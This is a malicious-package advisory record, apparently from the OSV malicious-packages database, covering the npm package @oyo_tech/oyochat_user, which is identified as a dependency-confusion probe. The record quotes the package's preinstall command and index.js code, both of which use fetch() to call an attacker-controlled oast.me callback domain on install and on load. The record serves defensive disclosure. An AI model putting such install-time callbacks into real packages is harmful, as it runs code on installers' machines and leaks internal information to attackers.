@oyo_tech/oyochat_user

{"schema_version":"1.7.4","id":"MAL-2026-14123","published":"2026-08-18T12:05:43Z","modified":"2026-08-18T21:43:55.689646937Z","summary":"Malicious code in @oyo_tech/oyochat_user (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2211869e361bf0cd90956a5c1dae972927c25c1d52e5ed4729cddc7b67fe682e)\n@oyo_tech/oyochat_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs `node -e \"fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)\"`, causing `npm install` to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues `fetch(\"https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user\")` on require/import, signalling that the package was actually loaded by a build. Distinct `installed.` and `executed.` subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery.\n\n## Source: ossf-package-analysis (db0f726175ab94e18345e8926ec8de1f76a684ac09429303323c3ceb0d14aea4)\nThe OpenSSF Package Analysis project identified '@oyo_tech/oyochat_user' @ 100.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"@oyo_tech/oyochat_user","ecosystem":"npm"},"versions":["100.0.0","99.99.99"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"79e902c850d425ddef8c47a409003aeca1475062131111d878c05b87fa995b78","tlsh":"16f0dc38d511ac7314c402b02e7a4407d821ae1b066cec3f73d3101c8ade6a700fd11f"},{"path":"index.js","sha256":"ac77c32dbcf70cea88a33027b3237f28da557347b97d78b17caa3ed2871a0e80","tlsh":"9fd0ebf73295228000e359a22239428fe263c3122b98c8e0b0d8c53e2becafc01081a0"}],"package_integrity":[{"filename":"oyochat_user-100.0.0.tgz","hashes":{"sha1":"4467db42bc3720b04856ca8b17db5f2767c2b13f","sha512_sri":"sha512-Vvv61i4HIJ1NaZO9AYTJ4ykD7gNv5MCLiKAEKWlzyBRb7RGdXCk8ImV/vEc9QanUd0GbFSAVKiCxrVfT2B6oNg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@oyo_tech/oyochat_user/v/100.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@oyo_tech/oyochat_user/v/99.99.99"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-08-18T12:14:01.03412778Z","modified_time":"2026-08-18T12:05:43Z","sha256":"db0f726175ab94e18345e8926ec8de1f76a684ac09429303323c3ceb0d14aea4","source":"ossf-package-analysis","versions":["100.0.0"]},{"id":"IN-MAL-2026-017988","import_time":"2026-08-18T20:42:27.840820916Z","modified_time":"2026-08-18T20:28:19Z","sha256":"146298f68340821e8518528fc76b215c8c962f360f0efaf586931894941cce89","source":"amazon-inspector","versions":["100.0.0"]},{"id":"IN-MAL-2026-018171","import_time":"2026-08-18T21:42:08.867997177Z","modified_time":"2026-08-18T21:27:31Z","sha256":"2211869e361bf0cd90956a5c1dae972927c25c1d52e5ed4729cddc7b67fe682e","source":"amazon-inspector","versions":["99.99.99"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}